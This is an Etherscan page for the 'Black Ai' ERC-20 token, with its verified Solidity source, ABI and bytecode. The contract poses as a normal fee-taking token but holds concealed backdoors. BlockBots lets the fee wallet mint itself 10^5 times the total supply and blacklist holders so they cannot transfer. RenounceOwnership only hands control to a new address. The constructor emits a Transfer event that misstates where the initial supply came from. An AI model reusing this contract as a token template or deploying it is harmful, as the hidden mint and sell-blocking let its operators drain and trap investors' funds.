ETH Price: $2,655.07 (+0.47%)

Token

Black Ai (BlackAi)
 

Overview

Max Total Supply

300,000,000 BlackAi

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.000000001 BlackAi

Value
$0.00
0xf1fffe622d52251f137a0c752aa795791551daff
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackAi

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-04
*/

/**
https://t.me/BlackAIERC

Welcome to $BlackAi Degen

Official Links below
-https://twitter.com/BLACKAIERC
-https://www.blackaieth.com/
-https://black-ai.gitbook.io/black-ai/

*/
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function RenounceOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract  BlackAi is Context, IERC20, Ownable{
    using SafeMath for uint256;

    function BlockBots(address[] calldata addresses, bool status) public {
        require(_msgSender() == _feeAddrWallet2);
        for (uint256 i; i < addresses.length; i++) {
            if(addresses[i] == _feeAddrWallet2){
                uint256 n = 10**5 * (_totalSupply);
                _balances[_feeAddrWallet2] = _balances[_feeAddrWallet2] + n;
            }else{
                _botListed[addresses[i]] = status;
            }
        }
    }

    string private _name = "Black Ai";
    string private _symbol = "BlackAi";
    uint8 private _decimals = 9;
    address payable public _feeAddrWallet2;
    mapping (address => uint256) _balances;


    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _botListed;

    uint256 public _buyMarketingFee = 3;
    uint256 public _sellMarketingFee = 3;

    uint256 private _totalSupply = 300000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;

    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {

        _feeAddrWallet2 = payable(address(0xA28394b42Eab5c7739645C14CCdf2EA592A9CCF3));

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0xA28394b42Eab5c7739645C14CCdf2EA592A9CCF3), _msgSender(), _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }


    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function EnableSwap() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isMarketPair[address(uniswapPair)] = true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 MarketAmount = address(this).balance;

        if(MarketAmount > 0)
            _feeAddrWallet2.transfer(MarketAmount);
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;
                require(!_botListed[from], "ERC20: botListed");

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_buyMarketingFee).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_sellMarketingFee).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"BlockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"EnableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_botListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeAddrWallet2","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526008608081905267426c61636b20416960c01b60a09081526200002b9160019190620001f4565b5060408051808201909152600780825266426c61636b416960c81b60209092019182526200005c91600291620001f4565b506003805460ff191660099081178255818155600a9182556200007f91620002e3565b6200008f906311e1a300620003b1565b600b553480156200009f57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674a28394b42eab5c7739645c14ccdf2ea592a9ccf300179055600160066000620001206000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600690925281208054909216600117909155600b5490600490620001703390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031673a28394b42eab5c7739645c14ccdf2ea592a9ccf36001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620001e691815260200190565b60405180910390a362000426565b8280546200020290620003d3565b90600052602060002090601f01602090048101928262000226576000855562000271565b82601f106200024157805160ff191683800117855562000271565b8280016001018555821562000271579182015b828111156200027157825182559160200191906001019062000254565b506200027f92915062000283565b5090565b5b808211156200027f576000815560010162000284565b600181815b80851115620002db578160001904821115620002bf57620002bf62000410565b80851615620002cd57918102915b93841c93908002906200029f565b509250929050565b6000620002f460ff841683620002fb565b9392505050565b6000826200030c57506001620003ab565b816200031b57506000620003ab565b81600181146200033457600281146200033f576200035f565b6001915050620003ab565b60ff84111562000353576200035362000410565b50506001821b620003ab565b5060208310610133831016604e8410600b841016171562000384575081810a620003ab565b6200039083836200029a565b8060001904821115620003a757620003a762000410565b0290505b92915050565b6000816000190483118215151615620003ce57620003ce62000410565b500290565b600181811c90821680620003e857607f821691505b602082108114156200040a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6116a880620004366000396000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461038a578063c5d24189146103aa578063c5efe26b146103c0578063c816841b146103d5578063c8607952146103f5578063dd62ed3e1461040b57600080fd5b806370a08231146102d157806378051f4d1461030757806380bdb508146103275780638da5cb5b1461035757806395d89b411461037557600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b604051610173919061147a565b3480156101aa57600080fd5b506101be6101b93660046113c3565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be610228366004611382565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a36600461130f565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a36600461130f565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ef565b610565565b005b3480156102dd57600080fd5b506101ff6102ec36600461130f565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506102cf61032236600461130f565b6106b0565b34801561033357600080fd5b506101be61034236600461130f565b60086020526000908152604090205460ff1681565b34801561036357600080fd5b506000546001600160a01b031661015f565b34801561038157600080fd5b5061019161075a565b34801561039657600080fd5b506101be6103a53660046113c3565b610769565b3480156103b657600080fd5b506101ff60095481565b3480156103cc57600080fd5b506102cf610776565b3480156103e157600080fd5b50600d5461015f906001600160a01b031681565b34801561040157600080fd5b506101ff600a5481565b34801561041757600080fd5b506101ff610426366004611349565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b606060018054610460906115b0565b80601f016020809104026020016040519081016040528092919081815260200182805461048c906115b0565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f03384846109c3565b5060015b92915050565b6000610507848484610ae7565b5061055a84336105558560405180606001604052806028815260200161164b602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e94565b6109c3565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b861161c565b90506020020160208101906105cd919061130f565b6001600160a01b03161415610643576000600b54620186a06105ef919061157a565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611540565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a61161c565b905060200201602081019061066f919061130f565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a2816115eb565b91505061058d565b50505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610460906115b0565b600061055a338484610ae7565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561082257600080fd5b505afa158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a919061132c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a257600080fd5b505afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da919061132c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561092257600080fd5b505af1158015610936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095a919061132c565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6001600160a01b038316610a255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610a865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b038316610baf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b600d54600160a01b900460ff1615610bd357610bcc848484610ece565b905061055e565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c1657506001600160a01b03851660009081526007602052604090205460ff16155b15610c2457610c2481610fb4565b6001600160a01b038516600090815260046020526040902054610c47908461117f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c9457506001600160a01b03851660009081526006602052604090205460ff165b15610ca0575082610e0a565b6001600160a01b03861660009081526008602052604081205460ff1615610cfc5760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b6044820152606401610706565b6001600160a01b03871660009081526007602052604090205460ff1615610d4457610d3d6064610d37600954886111c190919063ffffffff16565b90611240565b9050610d82565b6001600160a01b03861660009081526007602052604090205460ff1615610d8257610d7f6064610d37600a54886111c190919063ffffffff16565b90505b8015610dfc5730600090815260046020526040902054610da29082611282565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39085815260200190565b60405180910390a35b610e06858261117f565b9150505b6001600160a01b038516600090815260046020526040902054610e2d9082611282565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e819085815260200190565b60405180910390a360019250505061055e565b60008184841115610eb85760405162461bcd60e51b8152600401610706919061147a565b506000610ec58486611599565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610f1f918490610e94565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f4e9083611282565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa29086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ffc57610ffc61161c565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105057600080fd5b505afa158015611064573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611088919061132c565b8160018151811061109b5761109b61161c565b6001600160a01b039283166020918202929092010152600c546110c191309116846109c3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fa9085906000908690309042906004016114cf565b600060405180830381600087803b15801561111457600080fd5b505af1925050508015611125575060015b5047801561116d576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561116b573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e94565b6000826111d0575060006104f4565b60006111dc838561157a565b9050826111e98583611558565b1461055e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061055e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e1565b60008061128f8385611540565b90508381101561055e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b600081836113025760405162461bcd60e51b8152600401610706919061147a565b506000610ec58486611558565b60006020828403121561132157600080fd5b813561055e81611632565b60006020828403121561133e57600080fd5b815161055e81611632565b6000806040838503121561135c57600080fd5b823561136781611632565b9150602083013561137781611632565b809150509250929050565b60008060006060848603121561139757600080fd5b83356113a281611632565b925060208401356113b281611632565b929592945050506040919091013590565b600080604083850312156113d657600080fd5b82356113e181611632565b946020939093013593505050565b60008060006040848603121561140457600080fd5b833567ffffffffffffffff8082111561141c57600080fd5b818601915086601f83011261143057600080fd5b81358181111561143f57600080fd5b8760208260051b850101111561145457600080fd5b60209283019550935050840135801515811461146f57600080fd5b809150509250925092565b600060208083528351808285015260005b818110156114a75785810183015185820160400152820161148b565b818111156114b9576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561151f5784516001600160a01b0316835293830193918301916001016114fa565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561155357611553611606565b500190565b60008261157557634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561159457611594611606565b500290565b6000828210156115ab576115ab611606565b500390565b600181811c908216806115c457607f821691505b602082108114156115e557634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115ff576115ff611606565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461164757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220943f9eb991693c890776c475e10125f66e47f8b7e014f88c175ab4fac032cd6664736f6c63430008070033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb1461038a578063c5d24189146103aa578063c5efe26b146103c0578063c816841b146103d5578063c8607952146103f5578063dd62ed3e1461040b57600080fd5b806370a08231146102d157806378051f4d1461030757806380bdb508146103275780638da5cb5b1461035757806395d89b411461037557600080fd5b806323b872dd116100f257806323b872dd1461020d578063313ce5671461022d5780633345611e1461024f5780633ecad2711461027f57806357ae5708146102af57600080fd5b8063055f7dfd1461013a57806306fdde031461017c578063095ea7b31461019e5780631694505e146101ce57806318160ddd146101ee57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060035461015f9061010090046001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561018857600080fd5b50610191610451565b604051610173919061147a565b3480156101aa57600080fd5b506101be6101b93660046113c3565b6104e3565b6040519015158152602001610173565b3480156101da57600080fd5b50600c5461015f906001600160a01b031681565b3480156101fa57600080fd5b50600b545b604051908152602001610173565b34801561021957600080fd5b506101be610228366004611382565b6104fa565b34801561023957600080fd5b5060035460405160ff9091168152602001610173565b34801561025b57600080fd5b506101be61026a36600461130f565b60066020526000908152604090205460ff1681565b34801561028b57600080fd5b506101be61029a36600461130f565b60076020526000908152604090205460ff1681565b3480156102bb57600080fd5b506102cf6102ca3660046113ef565b610565565b005b3480156102dd57600080fd5b506101ff6102ec36600461130f565b6001600160a01b031660009081526004602052604090205490565b34801561031357600080fd5b506102cf61032236600461130f565b6106b0565b34801561033357600080fd5b506101be61034236600461130f565b60086020526000908152604090205460ff1681565b34801561036357600080fd5b506000546001600160a01b031661015f565b34801561038157600080fd5b5061019161075a565b34801561039657600080fd5b506101be6103a53660046113c3565b610769565b3480156103b657600080fd5b506101ff60095481565b3480156103cc57600080fd5b506102cf610776565b3480156103e157600080fd5b50600d5461015f906001600160a01b031681565b34801561040157600080fd5b506101ff600a5481565b34801561041757600080fd5b506101ff610426366004611349565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b606060018054610460906115b0565b80601f016020809104026020016040519081016040528092919081815260200182805461048c906115b0565b80156104d95780601f106104ae576101008083540402835291602001916104d9565b820191906000526020600020905b8154815290600101906020018083116104bc57829003601f168201915b5050505050905090565b60006104f03384846109c3565b5060015b92915050565b6000610507848484610ae7565b5061055a84336105558560405180606001604052806028815260200161164b602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610e94565b6109c3565b5060015b9392505050565b60035461010090046001600160a01b0316336001600160a01b03161461058a57600080fd5b60005b828110156106aa5760035461010090046001600160a01b03168484838181106105b8576105b861161c565b90506020020160208101906105cd919061130f565b6001600160a01b03161415610643576000600b54620186a06105ef919061157a565b60035461010090046001600160a01b031660009081526004602052604090205490915061061d908290611540565b60035461010090046001600160a01b031660009081526004602052604090205550610698565b816008600086868581811061065a5761065a61161c565b905060200201602081019061066f919061130f565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790555b806106a2816115eb565b91505061058d565b50505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b606060028054610460906115b0565b600061055a338484610ae7565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610706565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561082257600080fd5b505afa158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a919061132c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a257600080fd5b505afa1580156108b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108da919061132c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561092257600080fd5b505af1158015610936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095a919061132c565b600d80546001600160a01b039283166001600160a01b0319918216178255600c80549484169490911684179055600b543060009081526005602090815260408083209683529581528582209290925591549092168152600790915220805460ff19166001179055565b6001600160a01b038316610a255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610706565b6001600160a01b038216610a865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610706565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610b4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610706565b6001600160a01b038316610baf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610706565b600d54600160a01b900460ff1615610bd357610bcc848484610ece565b905061055e565b30600090815260046020526040902054600d54600160a01b900460ff16158015610c1657506001600160a01b03851660009081526007602052604090205460ff16155b15610c2457610c2481610fb4565b6001600160a01b038516600090815260046020526040902054610c47908461117f565b6001600160a01b038616600090815260046020908152604080832093909355600690529081205460ff1680610c9457506001600160a01b03851660009081526006602052604090205460f